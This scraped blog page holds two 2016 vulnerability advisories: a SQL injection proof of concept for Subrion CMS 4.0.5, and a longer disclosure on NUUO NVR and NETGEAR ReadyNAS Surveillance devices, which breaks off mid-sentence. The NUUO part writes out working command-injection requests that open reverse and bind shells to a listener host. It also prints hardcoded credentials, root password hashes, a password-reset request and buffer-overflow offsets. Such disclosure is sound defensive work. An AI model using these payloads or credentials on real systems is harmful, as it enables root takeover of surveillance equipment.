Document Title:
===============
Subrion v4.0.5 CMS - SQL Injection Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1893
Release Date:
=============
2016-08-04
Vulnerability Laboratory ID (VL-ID):
====================================
1893
Common Vulnerability Scoring System:
====================================
7
Product & Service Introduction:
===============================
Subrion is a full featured open source CMS written in PHP 5 & MySQL with many options. Here is the list of the most important features.
You don't need to pay a single penny to start using Subrion CMS. It's not encrypted in any way so you can customize it per your needs.
It's done to focus on the content management process. Start it hassle-free within just a few minutes and take care of the content.
(Copy of the Vendor Homepage: http://www.subrion.org/download/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote sql-injection vulnerability in the Subrion v4.0.5 content management system.
Vulnerability Disclosure Timeline:
==================================
2016-08-04: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Intelliants LLC
Product: Subrion - Content Management System (Web-Application) 4.0.5
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
A remote sql-injection web vulnerability has been discovered in the Subrion v4.0.5 content management system.
The vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms.
The sql-injection vulnerability is located in the `query` and ` show_query` parameters of the `.database/sql/` module POST
method request. Remote attackers are able to execute own sql commands by usage of the insecure sql management tool request.
The attack vector of the vulnerability is application-side and the request method to inject is POST.
The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.0.
Exploitation of the remote sql injection web vulnerability requires no user interaction and a low privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] ./database/sql/
Vulnerable Parameter(s):
[+] show_query
[+] query
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with privileged web-application user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: Exploitation
<html>
<head><body>
<title>Subrion CMS - Remote SQL Injection PoC</title>
<form action="http://subrion.localhost:8080/admin/database/sql/" method="post">
<input query="-1'[SQL-INJECTION VULNERABILITY!]--" value="-1'[SQL-INJECTION VULNERABILITY!]--">
<input show_query="-1'[SQL-INJECTION VULNERABILITY!]--" value="-1'[SQL-INJECTION VULNERABILITY!]--">
<input exec_query="Go" value"Go"
<button>Send POST Method Request</button>
</body></head>
</form>
</html>
POST /admin/database/sql/ HTTP/1.1
Host: http://subrion.localhost:8080
query=[SQL-INJECTION VULNERABILITY!]&show_query=[SQL-INJECTION VULNERABILITY!]&exec_query=Go
--- SQL Error Exception Logs ---
You have an error in your SQL syntax;
Check the manual that corresponds to your MySQL server version for the right syntax to use near 'command `extras`' at line 1}
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST /database/sql/
Mime Type[text/html]
Request Header:
Host[subrion.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Referer[/admin/database/sql/]
Cookie[INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; loader=loaded; INTELLI_a1ef1b4b28=63c87c36882a10136a627aea5a94a581; _ga=GA1.2.1118331789.1469788535; _gat=1]
Connection[keep-alive]
POST-Daten:
__st[6a4bf637dc90a9d8dd203fff134f8140]
query[-1'SQL-INJECTION VULNERABILITY!]
show_query[-1'SQL-INJECTION VULNERABILITY!]
exec_query[Go]
Response Header:
Date[Fri, 29 Jul 2016 10:38:22 GMT]
Server[Apache]
X-Powered-By[PHP/5.5.30]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Set-Cookie[INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; expires=Fri, 29-Jul-2016 11:08:22 GMT; Max-Age=1800]
Vary[Accept-Encoding]
Content-Length[5329]
Content-Type[text/html]
Note: Use the permanent cookie to trigger the bug remotly on default setup without admin access credentials.
Cookie: [f98078af3840ae5ba4a4800445924360] & [63c87c36882a10136a627aea5a94a581]
Reference(s):
http://subrion.localhost:8080/
http://subrion.localhost:8080/admin/
http://subrion.localhost:8080/admin/database/
http://subrion.localhost:8080/admin/database/sql/
Solution - Fix & Patch:
=======================
The sql-injection vulnerability can be patched by usage of a prepared statement in the sql database tool POST method request.
Parse and filter the parameter input of the query and show_query values. Disallow the usage of special chars to prevent further attacks.
Escape the entries to ensure the context is secure transmitted via POST method request.
Security Risk:
==============
The security risk of the remote sql-injection web vulnerability in the `query` and `show_query` parameters of the`/database/sql/`module is estimated high. (CVSS 7.0)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863591668
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
>> Multiple vulnerabilities in NUUO NVRmini2 / NVRsolo / Crystal devices and NETGEAR ReadyNAS Surveillance application
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 04/08/2016 / Last updated: 04/08/2016
>> Background on the affected products:
"NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS functionality. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always."
"NVRsolo is NUUO’s answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs."
"NUUO Crystal™ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO Crystal™ is the ideal choice for your enterprise. Featuring technology that focuses on delivering stable video recording performance, recording failover, and 3rd party integration choice, you will be impressed with the stability and flexible options with NUUO Crystal™."
"(ReadyNAS Surveillance) NETGEAR combines leading storage and switching solutions together with sophisticated network video recording software to provide an affordable and easy to install and manage surveillance solution. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience."
>> Summary:
NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc. They also provide a software package to NETGEAR that adds network video recording and monitoring capabilities to the well known NETGEAR ReadyNAS Network Attached Storage systems.
The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user.
Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code.
A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released.
>> Technical details:
#1
Vulnerability: Improper Input Validation (leading to remote code execution)
CVE-2016-5674
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected
The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):
function print_file($file_fullpath_name)
{
$cmd = "cat " . $file_fullpath_name;
echo $file_fullpath_name . "\n\n";
system($cmd);
}
<?php
if (isset($_GET['log']) && !empty($_GET['log']))
{
$file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']);
print_file($file_fullpath_name);
}
else
{
die("unknown command.");
}
?>
The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept:
- ReadyNAS Surveillance:
GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b'
This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user.
- NVRmini 2 and NVRsolo:
GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998
This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user.
#2
Vulnerability: Improper Input Validation (leading to remote code execution)
CVE-2016-5675
Attack Vector: Remote
Constraints: Requires an administrator account
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected)
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected
The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below):
else if ($act == 'update')
{
$cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);
$find_str = "time server";
$sys_msg = system($cmd);
$pos = strpos($sys_msg, $find_str);
The file can only be accessed by an authenticted user.
- ReadyNAS Surveillance:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test
This will create a /tmp/test file with the contents of "admin" (current user).
- NVRmini 2 and NVRsolo:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f
Connects a shell to 192.168.1.204, port 9000, running as root.
- Crystal:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26
Connects a shell to 192.168.1.204, port 4444, running as root.
#3
Vulnerability: Administrator password reset
CVE-2016-5676
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)
- NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected
On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable.
Proof of concept:
GET /cgi-bin/cgi_system?cmd=loaddefconfig
This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices.
#4
Vulnerability: Information disclosure (system processes, available memory and filesystem status)
CVE-2016-5677
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected
The web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request:
POST /__nvr_status___.php HTTP/1.1
username=nuuoeng&password=qwe23622260&submit=Submit
#5
Vulnerability: Harcoded root password
CVE-2016-5678
Affected products / versions:
- NUUO NVRmini 2, firmware v1.0.0 to 3.0.0
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices.
NVRmini 2:
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
NVRsolo:
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::
#6
Vulnerability: Command injection in cgi_main transfer license command
CVE-2016-5679
Attack Vector: Local / Remote
Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)
- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The transfer_license command has a command injection vulnerability in the "sn" parameter:
cgi_main?cmd=transfer_license&method=offline&sn=";<command>;#
Sample exploit for NVRmini2 (open bind shell on port 4444):
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23
NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23
> Local exploitation:
This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:
CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>'
The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
#7
Vulnerability: Stack buffer overflow in cgi_main transfer license command
CVE-2016-5680
Attack Vector: Local / Remote
Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user
- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)
- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters.
Function 0x20BC9C (NVRmini2 firmware v3.0.0):
method = getval("method");
sn = getval("sn");
(...)
memset(&command, 0, 128);
sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn);
system(&command);
> For example if the following request is performed:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> A core file is generated:
Core was generated by `/NUUO/bin/cgi_main'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x61616160 in ?? ()
(gdb) i r
r0 0x0 0
r1 0x0 0
r2 0x407aa4d0 1081779408
r3 0x407aa9e0 1081780704
r4 0x61616161 1633771873
r5 0x61616161 1633771873
r6 0x61616161 1633771873
r7 0x61616161 1633771873
r8 0x331fc8 3350472
r9 0x1 1
r10 0x33db54 3398484
r11 0x0 0
r12 0x1 1
sp 0xbedce528 0xbedce528
lr 0x61616161 1633771873
pc 0x61616160 0x61616160
cpsr 0x60000030 1610612784
(gdb)
The request can be sent by an HTTP GET or POST method.
> A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2:
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler
PPPP: pc / lr register content, offset 976
4444: r4 register content, offset 962
5555: r5 register content, offset 966
6666: r6 register content, offset 970
7777: r7 register content, offset 974
SSSS: start of stack pointer, offset 992
> On the ReadyNAS Surveillance one additional register (r8) can be controlled:
